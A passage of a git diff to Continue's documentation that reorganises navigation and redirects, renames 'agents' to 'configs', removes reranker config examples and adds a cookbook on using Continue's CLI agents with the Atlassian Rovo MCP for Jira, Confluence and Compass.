"voyage", - "params": { - "model": "rerank-2", - "apiKey": "" - } - } - } - ``` - ### Cohere @@ -71,19 +61,6 @@ See Cohere's documentation for rerankers [here](https://docs.cohere.com/docs/rer - rerank ``` - - ```json title="config.json" - { - "reranker": { - "name": "cohere", - "params": { - "model": "rerank-english-v3.0", - "apiKey": "" - } - } - } - ``` - ### LLM @@ -105,21 +82,9 @@ If you only have access to a single LLM, then you can use it as a reranker. This - rerank ``` - - ```json title="config.json" - { - "reranker": { - "name": "llm", - "params": { - "modelTitle": "My Model Title" - } - } - } - ``` - -The `"modelTitle"` field must match one of the models in your "models" array in config.json. + ### Text Embeddings Inference @@ -142,17 +107,4 @@ The `"modelTitle"` field must match one of the models in your "models" array in - rerank ``` - - ```json title="config.json" - { - "reranker": { - "name": "huggingface-tei", - "params": { - "apiBase": "http://localhost:8080", - "apiKey": "" - } - } - } - ``` - diff --git a/docs/customize/overview.mdx b/docs/customize/overview.mdx index f46d43e03..5f1e5dbe5 100644 --- a/docs/customize/overview.mdx +++ b/docs/customize/overview.mdx @@ -7,7 +7,7 @@ description: "Explore Continue's advanced capabilities for power users and compl Specialized context features for codebase understanding and documentation integration. -[Browse Context Features →](/guides/understanding-assistants) +[Browse Context Features →](/guides/understanding-configs) ## Deep Dives diff --git a/docs/docs.json b/docs/docs.json index 2d8fca1ae..35d9954eb 100644 --- a/docs/docs.json +++ b/docs/docs.json @@ -2,6 +2,10 @@ "$schema": "https://mintlify.com/docs.json", "theme": "mint", "name": "Continue", + "banner": { + "content": "Continue CLI v1.5.1 is live 🚀 Learn how you can leverage the CLI with our [MCP Cookbooks](https://docs.continue.dev/guides/overview#mcp-integration-cookbooks)", + "dismissable": true + }, "colors": { "primary": "#6b7280", "light": "#ffffff", @@ -16,61 +20,114 @@ { "group": "Getting Started", "icon": "rocket-launch", + "pages": ["index"] + }, + { + "group": "Hub", + "icon": "globe", "pages": [ - "index", - "getting-started/overview", - "getting-started/install", - "getting-started/quick-start" + "hub/introduction", + { + "group": "Configs", + "icon": "book", + "pages": [ + "hub/configs/intro", + "hub/configs/use-a-config", + "hub/configs/create-a-config", + "hub/configs/edit-a-config" + ] + }, + { + "group": "Governance", + "icon": "building", + "pages": [ + "hub/governance/creating-an-org", + "hub/governance/org-permissions", + "hub/governance/pricing" + ] + }, + { + "group": "Secrets", + "icon": "key", + "pages": [ + "hub/secrets/secret-types", + "hub/secrets/secret-resolution" + ] + }, + { + "group": "Agents", + "icon": "robot", + "pages": [ + "hub/agents/intro", + "hub/agents/overview", + "hub/agents/create-and-edit" + ] + }, + "hub/sharing", + "hub/source-control" ] }, { - "group": "Features", - "icon": "star", + "group": "CLI", + "icon": "terminal", "pages": [ + "cli/overview", + "cli/install", + "cli/quick-start", + "cli/guides" + ] + }, + { + "group": "IDE Extensions", + "icon": "star", + "expanded": false, + "pages": [ + "ide-extensions/install", + "ide-extensions/quick-start", { "group": "Agent", "icon": "robot", "pages": [ - "features/agent/quick-start", - "features/agent/how-it-works", - "features/agent/plan-mode", - "features/agent/model-setup", - "features/agent/how-to-customize", - "features/agent/context-selection" + "ide-extensions/agent/quick-start", + "ide-extensions/agent/how-it-works", + "ide-extensions/agent/plan-mode", + "ide-extensions/agent/model-setup", + "ide-extensions/agent/how-to-customize", + "ide-extensions/agent/context-selection" ] }, { "group": "Chat", "icon": "messages", "pages": [ - "features/chat/quick-start", - "features/chat/how-it-works", - "features/chat/model-setup", - "features/chat/how-to-customize", - "features/chat/context-selection" + "ide-extensions/chat/quick-start", + "ide-extensions/chat/how-it-works", + "ide-extensions/chat/model-setup", + "ide-extensions/chat/how-to-customize", + "ide-extensions/chat/context-selection" ] }, { "group": "Autocomplete", "icon": "sparkles", "pages": [ - "features/autocomplete/quick-start", - "features/autocomplete/how-it-works", - "features/autocomplete/model-setup", - "features/autocomplete/how-to-customize", - "features/autocomplete/context-selection", - "features/autocomplete/next-edit" + "ide-extensions/autocomplete/quick-start", + "ide-extensions/autocomplete/how-it-works", + "ide-extensions/autocomplete/model-setup", + "ide-extensions/autocomplete/how-to-customize", + "ide-extensions/autocomplete/context-selection", + "ide-extensions/autocomplete/next-edit" ] }, { "group": "Edit", "icon": "pen-to-square", "pages": [ - "features/edit/quick-start", - "features/edit/how-it-works", - "features/edit/model-setup", - "features/edit/how-to-customize", - "features/edit/context-selection" + "ide-extensions/edit/quick-start", + "ide-extensions/edit/how-it-works", + "ide-extensions/edit/model-setup", + "ide-extensions/edit/how-to-customize", + "ide-extensions/edit/context-selection" ] } ] @@ -78,18 +135,21 @@ { "group": "Customization", "icon": "sliders", + "expanded": false, "pages": [ "customization/overview", "customization/models", "customization/mcp-tools", "customization/rules", - "customization/prompts" + "customization/prompts", + "customization/settings" ] }, { "group": "Help", "icon": "book-open", - "pages": ["faqs", "troubleshooting"] + "expanded": false, + "pages": ["faqs", "troubleshooting", "CONTRIBUTING"] } ] }, @@ -124,6 +184,7 @@ { "group": "More Providers", "pages": [ + "customize/model-providers/more/asksage", "customize/model-providers/more/deepseek", "customize/model-providers/more/deepinfra", "customize/model-providers/more/groq", @@ -172,56 +233,6 @@ } ] }, - { - "tab": "Hub", - "groups": [ - { - "group": "Hub", - "pages": [ - "hub/introduction", - { - "group": "agents", - "icon": "robot", - "pages": [ - "hub/agents/intro", - "hub/agents/use-an-agent", - "hub/agents/create-an-agent", - "hub/agents/edit-an-agent" - ] - }, - { - "group": "Blocks", - "icon": "cube", - "pages": [ - "hub/blocks/intro", - "hub/blocks/use-a-block", - "hub/blocks/block-types", - "hub/blocks/create-a-block" - ] - }, - { - "group": "Governance", - "icon": "building", - "pages": [ - "hub/governance/creating-an-org", - "hub/governance/org-permissions", - "hub/governance/pricing" - ] - }, - { - "group": "Secrets", - "icon": "key", - "pages": [ - "hub/secrets/secret-types", - "hub/secrets/secret-resolution" - ] - }, - "hub/sharing", - "hub/source-control" - ] - } - ] - }, { "tab": "Guides", "groups": [ @@ -229,18 +240,38 @@ "group": "Guides", "pages": [ "guides/overview", - "guides/understanding-agents", + "guides/understanding-configs", + "guides/configuring-models-rules-tools", "guides/codebase-documentation-awareness", "guides/cli", + "guides/doc-writing-agent-cli", "guides/continuous-ai", - "guides/posthog-github-continuous-ai", "guides/continuous-ai-readiness-assessment", "guides/plan-mode-guide", "guides/ollama-guide", "guides/instinct", "guides/running-continue-without-internet", "guides/custom-code-rag", - "guides/how-to-self-host-a-model" + "guides/how-to-self-host-a-model", + "guides/notion-continue-guide", + "guides/github-pr-review-bot" + ] + }, + { + "group": "Cookbooks", + "icon": "book-open-cover", + "pages": [ + "guides/posthog-github-continuous-ai", + "guides/continue-docs-mcp-cookbook", + "guides/github-mcp-continue-cookbook", + "guides/atlassian-mcp-continue-cookbook", + "guides/sanity-mcp-continue-cookbook", + "guides/sentry-mcp-error-monitoring", + "guides/snyk-mcp-continue-cookbook", + "guides/supabase-mcp-database-workflow", + "guides/dlt-mcp-continue-cookbook", + "guides/netlify-mcp-continuous-deployment", + "guides/chrome-devtools-mcp-performance" ] } ] @@ -302,7 +333,7 @@ "navbar": { "links": [ { - "label": "Explore", + "label": "🚀 Get Started", "href": "https://hub.continue.dev/" } ], @@ -316,7 +347,8 @@ "x": "https://twitter.com/continuedev", "github": "https://github.com/continuedev/continue", "linkedin": "https://linkedin.com/company/continuedev", - "discord": "https://discord.gg/vapESyrFmJ" + "discord": "https://discord.gg/vapESyrFmJ", + "youtube": "https://www.youtube.com/@continuedev" } }, "contextual": { @@ -353,7 +385,27 @@ }, { "source": "/hub/blocks", - "destination": "/hub/blocks/intro" + "destination": "/hub/introduction" + }, + { + "source": "/hub/blocks/intro", + "destination": "/hub/introduction" + }, + { + "source": "/hub/blocks/use-a-block", + "destination": "/hub/introduction" + }, + { + "source": "/hub/blocks/block-types", + "destination": "/hub/introduction" + }, + { + "source": "/hub/workflows/intro", + "destination": "/hub/agents/intro" + }, + { + "source": "/hub/blocks/create-a-block", + "destination": "/hub/introduction" }, { "source": "/customize", @@ -369,11 +421,11 @@ }, { "source": "/install/vscode", - "destination": "/getting-started/install" + "destination": "/ide-extensions/install" }, { "source": "/install/jetbrains", - "destination": "/getting-started/install" + "destination": "/ide-extensions/install" }, { "source": "/customize/model-types", @@ -421,23 +473,27 @@ }, { "source": "/model-setup/overview", - "destination": "/getting-started/overview" + "destination": "/customize/model-roles/" }, { "source": "/model-setup/select-model", - "destination": "/getting-started/overview" + "destination": "/customize/model-roles/00-intro#selecting-model-roles" }, { "source": "/model-setup/configuration", - "destination": "/getting-started/overview" + "destination": "/customize/deep-dives/configuration" }, { "source": "/quickstart", - "destination": "/getting-started/overview" + "destination": "/" }, { "source": "/how-to-use-continue", - "destination": "/getting-started/overview" + "destination": "/" + }, + { + "source": "/getting-started/overview", + "destination": "/" }, { "source": "/setup/select-provider", @@ -837,51 +893,51 @@ }, { "source": "/chat", - "destination": "/features/chat/quick-start" + "destination": "/ide-extensions/chat/quick-start" }, { "source": "/chat/how-to-use-it", - "destination": "/features/chat/quick-start" + "destination": "/ide-extensions/chat/quick-start" }, { "source": "/agent", - "destination": "/features/agent/quick-start" + "destination": "/ide-extensions/agent/quick-start" }, { "source": "/agent/how-to-use-it", - "destination": "/features/agent/quick-start" + "destination": "/ide-extensions/agent/quick-start" }, { "source": "/features/agent/how-to-use-it", - "destination": "/features/agent/quick-start" + "destination": "/ide-extensions/agent/quick-start" }, { "source": "/edit", - "destination": "/features/edit/quick-start" + "destination": "/ide-extensions/edit/quick-start" }, { "source": "/edit/how-to-use-it", - "destination": "/features/edit/quick-start" + "destination": "/ide-extensions/edit/quick-start" }, { "source": "/features/edit/how-to-use-it", - "destination": "/features/edit/quick-start" + "destination": "/ide-extensions/edit/quick-start" }, { "source": "/autocomplete", - "destination": "/features/autocomplete/quick-start" + "destination": "/ide-extensions/autocomplete/quick-start" }, { "source": "/autocomplete/how-to-use-it", - "destination": "/features/autocomplete/quick-start" + "destination": "/ide-extensions/autocomplete/quick-start" }, { "source": "/features/autocomplete/how-to-use-it", - "destination": "/features/autocomplete/quick-start" + "destination": "/ide-extensions/autocomplete/quick-start" }, { - "source": "/getting-started", - "destination": "/getting-started/install" + "source": "/getting-started/install", + "destination": "/ide-extensions/install" }, { "source": "/customize/deep-dives/prompt-files", @@ -889,19 +945,19 @@ }, { "source": "/chat/how-it-works", - "destination": "/features/chat/how-it-works" + "destination": "/ide-extensions/chat/how-it-works" }, { "source": "/autocomplete/how-it-works", - "destination": "/features/autocomplete/how-it-works" + "destination": "/ide-extensions/autocomplete/how-it-works" }, { "source": "/edit/how-it-works", - "destination": "/features/edit/how-it-works" + "destination": "/ide-extensions/edit/how-it-works" }, { "source": "/agent/how-it-works", - "destination": "/features/agent/how-it-works" + "destination": "/ide-extensions/agent/how-it-works" }, { "source": "/telemetry", @@ -941,55 +997,55 @@ }, { "source": "/autocomplete/model-setup", - "destination": "/features/autocomplete/model-setup" + "destination": "/ide-extensions/autocomplete/model-setup" }, { "source": "/autocomplete/how-to-customize", - "destination": "/features/autocomplete/how-to-customize" + "destination": "/ide-extensions/autocomplete/how-to-customize" }, { "source": "/autocomplete/context-selection", - "destination": "/features/autocomplete/context-selection" + "destination": "/ide-extensions/autocomplete/context-selection" }, { "source": "/chat/model-setup", - "destination": "/features/chat/model-setup" + "destination": "/ide-extensions/chat/model-setup" }, { "source": "/chat/how-to-customize", - "destination": "/features/chat/how-to-customize" + "destination": "/ide-extensions/chat/how-to-customize" }, { "source": "/chat/context-selection", - "destination": "/features/chat/context-selection" + "destination": "/ide-extensions/chat/context-selection" }, { "source": "/features/chat/how-to-use-it", - "destination": "/features/chat/quick-start" + "destination": "/ide-extensions/chat/quick-start" }, { "source": "/edit/model-setup", - "destination": "/features/edit/model-setup" + "destination": "/ide-extensions/edit/model-setup" }, { "source": "/edit/how-to-customize", - "destination": "/features/edit/how-to-customize" + "destination": "/ide-extensions/edit/how-to-customize" }, { "source": "/edit/context-selection", - "destination": "/features/edit/context-selection" + "destination": "/ide-extensions/edit/context-selection" }, { "source": "/agent/model-setup", - "destination": "/features/agent/model-setup" + "destination": "/ide-extensions/agent/model-setup" }, { "source": "/agent/how-to-customize", - "destination": "/features/agent/how-to-customize" + "destination": "/ide-extensions/agent/how-to-customize" }, { "source": "/agent/context-selection", - "destination": "/features/agent/context-selection" + "destination": "/ide-extensions/agent/context-selection" }, { "source": "/customize/context/codebase", @@ -1021,7 +1077,7 @@ }, { "source": "/hub/blocks/bundles", - "destination": "/hub/blocks/intro" + "destination": "/hub/introduction" }, { "source": "/customize/settings", @@ -1169,27 +1225,143 @@ }, { "source": "/features/edit/next-edit", - "destination": "/features/autocomplete/next-edit" + "destination": "/ide-extensions/autocomplete/next-edit" + }, + { + "source": "/features/plan/quick-start", + "destination": "/ide-extensions/agent/plan-mode" }, { "source": "/hub/assistants/intro", - "destination": "/hub/agents/intro" + "destination": "/hub/configs/intro" }, { "source": "/hub/assistants/use-an-assistant", - "destination": "/hub/agents/use-an-agent" + "destination": "/hub/configs/use-a-config" }, { "source": "/hub/assistants/create-an-assistant", - "destination": "/hub/agents/create-an-agent" + "destination": "/hub/configs/create-a-config" }, { "source": "/hub/assistants/edit-an-assistant", - "destination": "/hub/agents/edit-an-agent" + "destination": "/hub/configs/edit-a-config" + }, + { + "source": "/hub/agents/use-an-agent", + "destination": "/hub/configs/use-a-config" + }, + { + "source": "/hub/agents/create-an-agent", + "destination": "/hub/configs/create-a-config" + }, + { + "source": "/hub/agents/edit-an-agent", + "destination": "/hub/configs/edit-a-config" }, { "source": "/guides/understanding-assistants", - "destination": "/guides/understanding-agents" + "destination": "/guides/understanding-configs" + }, + { + "source": "/guides/understanding-agents", + "destination": "/guides/understanding-configs" + }, + { + "source": "/features", + "destination": "/ide-extensions" + }, + { + "source": "/features/agent/quick-start", + "destination": "/ide-extensions/agent/quick-start" + }, + { + "source": "/features/agent/how-it-works", + "destination": "/ide-extensions/agent/how-it-works" + }, + { + "source": "/features/agent/plan-mode", + "destination": "/ide-extensions/agent/plan-mode" + }, + { + "source": "/features/agent/model-setup", + "destination": "/ide-extensions/agent/model-setup" + }, + { + "source": "/features/agent/how-to-customize", + "destination": "/ide-extensions/agent/how-to-customize" + }, + { + "source": "/features/agent/context-selection", + "destination": "/ide-extensions/agent/context-selection" + }, + { + "source": "/features/chat/quick-start", + "destination": "/ide-extensions/chat/quick-start" + }, + { + "source": "/features/chat/how-it-works", + "destination": "/ide-extensions/chat/how-it-works" + }, + { + "source": "/features/chat/model-setup", + "destination": "/ide-extensions/chat/model-setup" + }, + { + "source": "/features/chat/how-to-customize", + "destination": "/ide-extensions/chat/how-to-customize" + }, + { + "source": "/features/chat/context-selection", + "destination": "/ide-extensions/chat/context-selection" + }, + { + "source": "/features/autocomplete/quick-start", + "destination": "/ide-extensions/autocomplete/quick-start" + }, + { + "source": "/features/autocomplete/how-it-works", + "destination": "/ide-extensions/autocomplete/how-it-works" + }, + { + "source": "/features/autocomplete/model-setup", + "destination": "/ide-extensions/autocomplete/model-setup" + }, + { + "source": "/features/autocomplete/how-to-customize", + "destination": "/ide-extensions/autocomplete/how-to-customize" + }, + { + "source": "/features/autocomplete/context-selection", + "destination": "/ide-extensions/autocomplete/context-selection" + }, + { + "source": "/features/autocomplete/next-edit", + "destination": "/ide-extensions/autocomplete/next-edit" + }, + { + "source": "/features/edit/quick-start", + "destination": "/ide-extensions/edit/quick-start" + }, + { + "source": "/features/edit/how-it-works", + "destination": "/ide-extensions/edit/how-it-works" + }, + { + "source": "/features/edit/model-setup", + "destination": "/ide-extensions/edit/model-setup" + }, + { + "source": "/features/edit/how-to-customize", + "destination": "/ide-extensions/edit/how-to-customize" + }, + { + "source": "/features/edit/context-selection", + "destination": "/ide-extensions/edit/context-selection" + }, + { + "source": "/getting-started/quick-start", + "destination": "/ide-extensions/quick-start" } ] } diff --git a/docs/faqs.mdx b/docs/faqs.mdx index 36b93ff77..34e6ab9c7 100644 --- a/docs/faqs.mdx +++ b/docs/faqs.mdx @@ -48,15 +48,15 @@ If you are using VS Code and require requests to be made through a proxy, you ar Continue can be used in [code-server](https://coder.com/), but if you are running across an error in the logs that includes "This is likely because the editor is not running in a secure context", please see [their documentation on securely exposing code-server](https://coder.com/docs/code-server/latest/guide#expose-code-server). -## Changes to agents not showing in VS Code +## Changes to configs not showing in VS Code -If you've made changes to agents (adding, modifying, or removing them) but the changes aren't appearing in the Continue extension in VS Code, try reloading the VS Code window: +If you've made changes to a config (adding, modifying, or removing it) but the changes aren't appearing in the Continue extension in VS Code, try reloading the VS Code window: 1. Open the command palette (`cmd/ctrl` + `shift` + `P`) 2. Type "Reload Window" 3. Select the reload option -This will restart VS Code and reload all extensions, which should make your agent changes visible. +This will restart VS Code and reload all extensions, which should make your config changes visible. ## I installed Continue, but don't see the sidebar window @@ -256,7 +256,7 @@ If you're getting parse errors with remote Ollama: 3. **Check URL format**: Ensure you're using `http://` not `https://` for local network addresses -## Local Agent +## Local Config ### Managing Local Secrets and Environment Variables @@ -318,7 +318,7 @@ If your API keys aren't being recognized: ### Using Model Addons Locally -You can leverage model addons from the Continue Hub in your local agent configurations using the `uses:` syntax. This allows you to reference pre-configured model blocks without duplicating configuration. +You can leverage model addons from the Continue Hub in your local configurations using the `uses:` syntax. This allows you to reference pre-configured model blocks without duplicating configuration. #### Requirements @@ -330,7 +330,7 @@ You can leverage model addons from the Continue Hub in your local agent configur In your local `config.yaml`, reference model addons using the format `provider/model-name`: ```yaml -name: My Local Agent +name: My Local Config version: 0.0.1 schema: v1 models: @@ -344,7 +344,7 @@ models: You can combine hub model addons with local models: ```yaml -name: My Local Agent +name: My Local Config version: 0.0.1 schema: v1 models: diff --git a/docs/getting-started/extensions.mdx b/docs/getting-started/extensions.mdx index 24db1064e..54a490aca 100644 --- a/docs/getting-started/extensions.mdx +++ b/docs/getting-started/extensions.mdx @@ -1,6 +1,6 @@ --- -title: "Understanding Agents" +title: "Understanding Configs" description: "Continue offers two ways to configure your AI assistants" --- -This content has moved to our comprehensive guide: [Understanding Agents: Hub vs Local Configuration](/guides/understanding-assistants) +This content has moved to our comprehensive guide: [Understanding Hub vs Local Configuration](/guides/understanding-configs) diff --git a/docs/getting-started/overview.mdx b/docs/getting-started/overview.mdx deleted file mode 100644 index a7c610a4b..000000000 --- a/docs/getting-started/overview.mdx +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: "Overview" -description: "To quickly understand what you can do with Continue, check out each tab below." ---- - -## Features - - - -[Agent](/features/agent/quick-start) equips the Chat model with the tools needed to handle a wide range of coding tasks - -![agent](/images/agent-9ef792cfc196a3b5faa984fb072c4400.gif) - - - Learn more about [Agent](/features/agent/quick-start) - - - - -[Chat](/features/chat/quick-start) makes it easy to ask for help from an LLM without needing to leave the IDE - -![chat](/images/chat-489b68d156be2aafe09ee7cedf233fba.gif) - - - Learn more about [Chat](/features/chat/quick-start) - - - - -[Plan](/features/agent/plan-mode) provides a safe environment with read-only tools for exploring code and planning changes - -![plan](/images/plan-mode.gif) - - - Learn more about [Plan](/features/agent/plan-mode) - - - - -[Edit](/features/edit/quick-start) is a convenient way to modify code without leaving your current file - -![edit](/images/edit.gif) - - - Learn more about [Edit](/features/edit/quick-start) - - - - -[Autocomplete](/features/autocomplete/quick-start) provides inline code suggestions as you type - -![autocomplete](/images/autocomplete-9d4e3f7658d3e65b8e8b20f2de939675.gif) - - - Learn more about [Autocomplete](/features/autocomplete/quick-start) - - - - -## AI Coding Agents - -Continue offers flexible AI assistants that enhance your development workflow. You can choose between cloud-managed **Hub Agents** for easy setup and synchronization, or **Local Agents** for complete control and privacy. Learn more about [understanding and configuring assistants](/guides/understanding-assistants). diff --git a/docs/guides/atlassian-mcp-continue-cookbook.mdx b/docs/guides/atlassian-mcp-continue-cookbook.mdx new file mode 100644 index 000000000..9b4b8cc9c --- /dev/null +++ b/docs/guides/atlassian-mcp-continue-cookbook.mdx @@ -0,0 +1,511 @@ +--- +title: "Jira Issues and Confluence Pages with Atlassian MCP and Continue" +description: "Use Continue and the Atlassian Rovo MCP to search, summarize, and manage Jira issues, Confluence pages, and Compass components with natural language prompts." +sidebarTitle: "Atlassian Workflows with Continue" +--- + + + An Atlassian workflow assistant that uses Continue with the Atlassian Rovo MCP to: + - Search and summarize Jira issues across projects + - Find and digest Confluence documentation + - Create and update Jira issues with natural language + - Query Compass components and service dependencies + - Automate Atlassian workflows with headless CLI runs + + +## Prerequisites + +Before starting, ensure you have: + +- Continue account with **Hub access** + - Read: [Understanding Configs — How to get started with Hub configs](/guides/understanding-configs#how-to-get-started-with-hub-configs) +- Node.js 18+ installed locally +- An Atlassian Cloud site with Jira, Confluence, and/or Compass +- Access to the Atlassian products you want to integrate with + + + The Atlassian Rovo MCP Server is currently in **Beta**. Core functionality is available, but some features are still under development. + + +For all options, first: + + + ```bash + npm i -g @continuedev/cli + ``` + + + + The Atlassian MCP uses **OAuth 2.1** for authentication. The first time you connect, you'll complete a browser-based authorization flow that respects your existing Atlassian permissions. + + + + + To use agents in headless mode, you need a [Continue API key](https://hub.continue.dev/settings/api-keys). + All data access respects your existing Jira, Confluence, and Compass user permissions. + + +## Choose Your Atlassian Agent + + + We've created two ready-to-use agents to help you get started fast - they come pre-configured with optimized prompts, rules, and the Atlassian MCP. You don't have to use these agents, but they're designed to give you the best experience right away. Choose the agent that matches your needs, or create your own custom agent. + + +### Agent Quick Reference + +| Agent | Best For | Use Cases | Link | +|-------|----------|-----------|------| +| **Jira Agent** | Issue Management | Search issues, create stories, sprint planning, status updates, bulk operations | [View Agent](https://hub.continue.dev/continuedev/atlassian-continuous-ai-jira-agent) | +| **Confluence Agent** | Documentation | Search pages, summarize docs, create/update pages, manage spaces | [View Agent](https://hub.continue.dev/continuedev/atlassian-continuous-ai-confluence-agent) | + + + **Cross-product workflows**: Both agents can work with Jira, Confluence, and Compass. Choose based on your primary focus area, or create your own agent using the [Atlassian MCP](https://hub.continue.dev/atlassian/atlassian-mcp). The Atlassian MCP can work with Jira, Compass, or Confluence. + + + + + + + Visit the [Atlassian Continuous AI - Jira Agent](https://hub.continue.dev/continuedev/atlassian-continuous-ai-jira-agent) on Continue Hub. This agent is optimized for: + - Searching and filtering Jira issues + - Creating and updating issues + - Sprint planning and workload analysis + - Issue transitions and status updates + + No installation needed - you can start using it immediately from the command line! + + + + On first use, you'll be prompted to authorize the MCP server in your browser. This is a one-time setup that grants access based on your Atlassian permissions. + + + + From anywhere in your terminal: + ```bash + cn --agent continuedev/atlassian-continuous-ai-jira-agent "Show me my open issues assigned to me" + ``` + The agent will connect to your Atlassian site and return results. + + + + + **Pro tip**: Create a shell alias for the Jira agent: + ```bash + alias jira-ai='cn --agent continuedev/atlassian-continuous-ai-jira-agent' + ``` + Then use: `jira-ai "your prompt"` + + + + + + + Visit the [Atlassian Continuous AI - Confluence Agent](https://hub.continue.dev/continuedev/atlassian-continuous-ai-confluence-agent) on Continue Hub. This agent is optimized for: + - Searching and summarizing documentation + - Creating and updating Confluence pages + - Managing spaces and content + - Documentation discovery + + No installation needed - you can start using it immediately from the command line! + + + + On first use, you'll be prompted to authorize the MCP server in your browser. This is a one-time setup that grants access based on your Atlassian permissions. + + + + From anywhere in your terminal: + ```bash + cn --agent continuedev/atlassian-continuous-ai-confluence-agent "Summarize the Q2 planning page" + ``` + The agent will connect to your Atlassian site and return results. + + + + + **Pro tip**: Create a shell alias for the Confluence agent: + ```bash + alias confluence-ai='cn --agent continuedev/atlassian-continuous-ai-confluence-agent' + ``` + Then use: `confluence-ai "your prompt"` + + + + + + + Go to the [Continue Hub](https://hub.continue.dev) and [create a new agent](https://hub.continue.dev/new?type=agent). + + + + Install from Hub (recommended) or add YAML manually. Minimal YAML example: + + ```yaml title="config.yaml" + mcpServers: + - name: Atlassian Rovo MCP + type: sse + url: https://mcp.atlassian.com/v1/sse + connectionTimeout: 30 + ``` + + Notes: + - The Atlassian MCP uses **Server-Sent Events (SSE)** transport type + - OAuth is handled automatically on first connection + - No API keys or tokens needed in the config + + + + Launch Continue and ask: + ``` + List my Jira projects + ``` + You'll be prompted to authorize in your browser if this is your first time. + + + + + + + To use Atlassian MCP with Continue CLI, you need either: + - **Continue CLI Pro Plan** with the models add-on, OR + - **Your own API keys** added to Continue Hub secrets + + The agent will automatically detect and use your configuration along with the Atlassian MCP for Jira, Confluence, and Compass operations. + + + +--- + +## Jira Workflows + + + **Using the Jira Agent**: All examples below use the [Jira Agent](https://hub.continue.dev/continuedev/atlassian-continuous-ai-jira-agent) which is optimized for issue management. + + +Use natural language to explore, triage, and manage Jira issues. The agent calls Atlassian MCP tools under the hood. + + + **Running in headless mode**: Add `-p` flag before your prompt and `--auto` flag at the end: + ```bash + cn --agent continuedev/atlassian-continuous-ai-jira-agent -p "your prompt" --auto + ``` + **Important**: Complete browser OAuth authentication first before using headless mode. + + +### Search and Discovery + + + + Search for bugs across your projects. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-jira-agent "Find all open bugs in Project Alpha" + ``` + + + + Get a list of issues assigned to you. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-jira-agent "Show me all issues assigned to me that are in progress" + ``` + + + + Analyze sprint workload and priorities. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-jira-agent "List all issues in the current sprint. Group by assignee and priority. Summarize the workload distribution and flag any overloaded team members." + ``` + + + +### Create and Update + + + + Turn natural language into a Jira story. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-jira-agent "Create a story titled 'Redesign onboarding flow' in Project Alpha. Description: We need to simplify the user registration process by reducing steps from 5 to 3. Target completion: Q3." + ``` + + + + Create multiple issues from meeting notes or specs. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-jira-agent "Create five Jira issues from these meeting notes: 1) Fix login timeout bug 2) Update API documentation 3) Implement dark mode toggle 4) Review security audit findings 5) Optimize database queries" + ``` + + + + Transition issues with natural language. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-jira-agent "Move PROJ-123 to In Progress and add a comment: Starting work on this today. ETA: end of week." + ``` + + + +--- + +## Confluence Workflows + + + **Using the Confluence Agent**: All examples below use the [Confluence Agent](https://hub.continue.dev/continuedev/atlassian-continuous-ai-confluence-agent) which is optimized for documentation management. + + +Access, search, and manage your team's documentation directly from Continue. + + + **Running in headless mode**: Add `-p` flag before your prompt and `--auto` flag at the end: + ```bash + cn --agent continuedev/atlassian-continuous-ai-confluence-agent -p "your prompt" --auto + ``` + **Important**: Complete browser OAuth authentication first before using headless mode. + + +### Search and Summarize + + + + Get a quick summary of a Confluence page. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-confluence-agent "Summarize the Q2 planning page from the Engineering space" + ``` + + + + Search for specific information across Confluence. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-confluence-agent "Find all pages about API authentication in our developer docs" + ``` + + + + Discover what Confluence spaces you have access to. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-confluence-agent "What Confluence spaces do I have access to?" + ``` + + + +### Create and Update + + + + Generate a new Confluence page with structured content. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-confluence-agent "Create a page titled 'Team Goals Q3' in the Engineering space. Include sections for: Objectives, Key Results, and Timeline." + ``` + + + + Modify content on an existing page. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-confluence-agent "Update the 'Onboarding Guide' page to add a new section about our code review process" + ``` + + + +--- + +## Compass Workflows + + + **Using Either Agent**: Compass workflows work with both agents. Use the Jira agent for component-to-issue workflows, or the Confluence agent for component-to-docs workflows. + + +Query and manage your service architecture with Compass integration. + + + **Running in headless mode**: Add `-p` flag before your prompt and `--auto` flag at the end. Complete browser OAuth authentication first before using headless mode. + + +### Service Discovery + + + + Understand service relationships. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-jira-agent "What services depend on the api-gateway component?" + ``` + + + + Register a new service in Compass. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-jira-agent "Create a service component for the current repository. Use the package.json to infer details." + ``` + + + + Import multiple components from structured data. + + ```bash + cn --agent continuedev/atlassian-continuous-ai-jira-agent "Import Compass components and custom fields from this CSV: [paste CSV data]" + ``` + + Or reference a file: + ```bash + cn --agent continuedev/atlassian-continuous-ai-jira-agent "Import Compass components from services.csv in the current directory" + ``` + + + +--- + +## Combined Workflows + + + **Cross-Product Workflows**: These workflows span multiple Atlassian products. Choose the agent based on your primary focus: + - Use **Jira Agent** when the workflow is issue-centric + - Use **Confluence Agent** when the workflow is documentation-centric + + +Integrate actions across Jira, Confluence, and Compass for powerful cross-product workflows. + + + **Running in headless mode**: Add `-p` flag before your prompt and `--auto` flag at the end. Complete browser OAuth authentication first before using headless mode. + + + + + Connect related content across products. + + ```bash + # Using Jira Agent for issue-centric workflow + cn --agent continuedev/atlassian-continuous-ai-jira-agent "Link Jira tickets PROJ-123, PROJ-456, and PROJ-789 to the 'Sprint 23 Release Plan' Confluence page" + ``` + + + + Find documentation for a specific component. + + ```bash + # Using Confluence Agent for docs-centric workflow + cn --agent continuedev/atlassian-continuous-ai-confluence-agent "Fetch the Confluence documentation page linked to the user-authentication Compass component" + ``` + + + + Create release documentation from completed work. + + ```bash + # Using Jira Agent to pull issue data and create in Confluence + cn --agent continuedev/atlassian-continuous-ai-jira-agent "Generate release notes for all Jira issues completed in Sprint 23. Create a Confluence page in the Release Notes space with: New features (grouped by epic), Bug fixes, Known issues, Deployment instructions" + ``` + + + +--- + +## Troubleshooting + + + + - **"Your site admin must authorize this app"**: A site admin needs to complete the OAuth flow first before other users can connect + - **Can't complete browser authorization**: Ensure you're logged into the correct Atlassian Cloud site and have necessary permissions + - **Connection timeout**: Increase `connectionTimeout` in your MCP config or check your network connection + + + + - **"Access denied" or 